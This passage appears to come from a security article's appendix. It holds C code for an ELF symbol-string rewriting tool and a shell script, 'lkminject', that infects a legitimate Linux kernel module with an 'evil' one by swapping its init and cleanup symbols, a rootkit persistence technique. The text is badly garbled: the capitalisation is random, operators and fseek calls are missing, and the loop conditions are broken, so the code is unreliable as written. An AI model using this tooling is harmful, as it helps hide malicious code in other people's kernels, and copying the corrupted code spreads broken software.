IF (FWRIT (Argv [3], 1, Strlen (Argv [3]), FD) Fatal ("fwrite"); Printf ("[ ] .strtab Entry Overwriten with% S / N", Argv [3]); Fclose (fd); Return EXIT_SUCCESS; } ELF32_OFF ELFGETSYMBOLBYNAME (file * fd, ELF32_SHDR * SYMTAB, ELF32_SHDR * STRTAB, CHAR * Name, ELF32_SYM * SYM) { INT I; Char Symname [255]; ELF32_OFF OFFSET; For (i = 0; i <(symtab-> sh_size / symtab-> sh_entsize); i ) { IF (FD, Symtab-> SH_OFFSET (i * symtab-> sh_entsize), Seek_set) == -1) Fatal ("fseek"); IF (FREAD (SYM, SIZEOF (ELF32_SYM), 1, FD) <1) Fatal ("SymTab Corrupted"); MEMSET (Symname, 0, Sizeof (Symname); Offset = Elfgetsymbolname (fd, Sym-> ST_NAME, Strtab, Symname, SizeOf (Symname); IF (! Strcmp (Symname, Name)) Return offset; } Return -1; } INT ElfgetSectionByindex (file * fd, ELF32_EHDR * EHDR, ELF32_HALF INDEX, ELF32_SHDR * SHDR) { IF (FD, EHDR-> E_SHOFF (INDEX * EHDR-> E_SHENTSIZE), Seek_set) == -1) Fatal ("fseek"); IF (Fread (SHDR, SIZEOF (ELF32_SHDR), 1, FD) <1) Fatal ("Sections Header Corrupted"); Return 0; } INT ElfgetsectionByname (file * fd, elf32_ehdr * ehdr, char * section, ELF32_SHDR * SHDR) { INT I; CHAR Name [255]; ELF32_SHDR SHSTRTABLE; / * * Get the section header string TABLE * / ElfgetsectionByindex (FD, EHDR, EHDR-> E_SHSTRNDX, & ShSTRTABLE); MEMSET (Name, 0, SIZEOF (Name); For (i = 0; i { IF (FD, EHDR-> E_SHOFF (i * ehdr-> e_shennsize), Seek_set) == -1) Fatal ("fseek"); IF (Fread (SHDR, SIZEOF (ELF32_SHDR), 1, FD) <1) Fatal ("Sections Header Corrupted"); ElfgetsectionName (fd, shstable, Name, sizeof (name)); IF (! strcmp (name, section)) { Return 0; } } Return -1; } INT ElfgetSectionname (file * fd, ELF32_word sh_name, ELF32_SHDR * SHSTRTABLE, CHAR * RES, SIZE_T LEN { SIZE_T I = 0; IF (fseek (fd, shstable-> sh_offset sh_name, seek_set) == -1) Fatal ("fseek"); While ((i { * res = fgetc (fd); i ; RES ; } Return 0; } ELF32_OFF ELFGETSYMBOLNAME (File * fd, Elf32_word sym_name, ELF32_SHDR * STRTABLE, CHAR * RES, SIZE_T LEN { SIZE_T I = 0; IF (FD, STRTABLE-> SH_OFFSET SYM_NAME, SEEK_SET) == -1) Fatal ("fseek"); While ((i { * res = fgetc (fd); i ; RES ; } Return (start-> sh_offset sym_name); } / * EOF * / ----] 9.2 LKMINJECT #! / Bin / sh # # lkminject by truff (Truff@projet7.org) # # Injects a Linux lkm Into another one. # # Usage: #./lkminfect.sh original_lkm.o evil_lkm.c # # Notes: # You Have to modify evil_lkm.c as evted Bellow: # In the init_module code, you have to insert this line, Just After # Variables init: # dumm_module (); # # In the cleanup_module code, you have to insert this line, Just After # Variables init: # Dummcle_Module (); # # http://www.projet7.org - Security Research - ######################################################################################################################################################################################################################################################################################################## ############################## SED -E S / INIT_MODULE / EVIL_MODULE / $ 2> TMP MV TMP $ 2 SED -E S / CLEANUP_MODULE / EVCLEAN_MODULE / $ 2> TMP MV TMP $ 2 # Replace the folowing line with the compilation line for your evil LKM # if needed. Make LD -R $ 1 $ (BaseName $ 2 .c) .o -o evil.o ... / ElfstrChange Evil.o Init_Module Dumm_Module ... / ElfstrChange Evil.o Evil_Module Init_Module ... / ElfstrChange Evil.o Cleanup_Module Dummcle_Module ... / ElfstrChange Evil.o Evclean_Module Cleanup_Module MV Evil.o $ 1 RM ElfstrChange | = [EOF] = ------------------------------------------------------------------------------------------------------------------------ ------------------- = |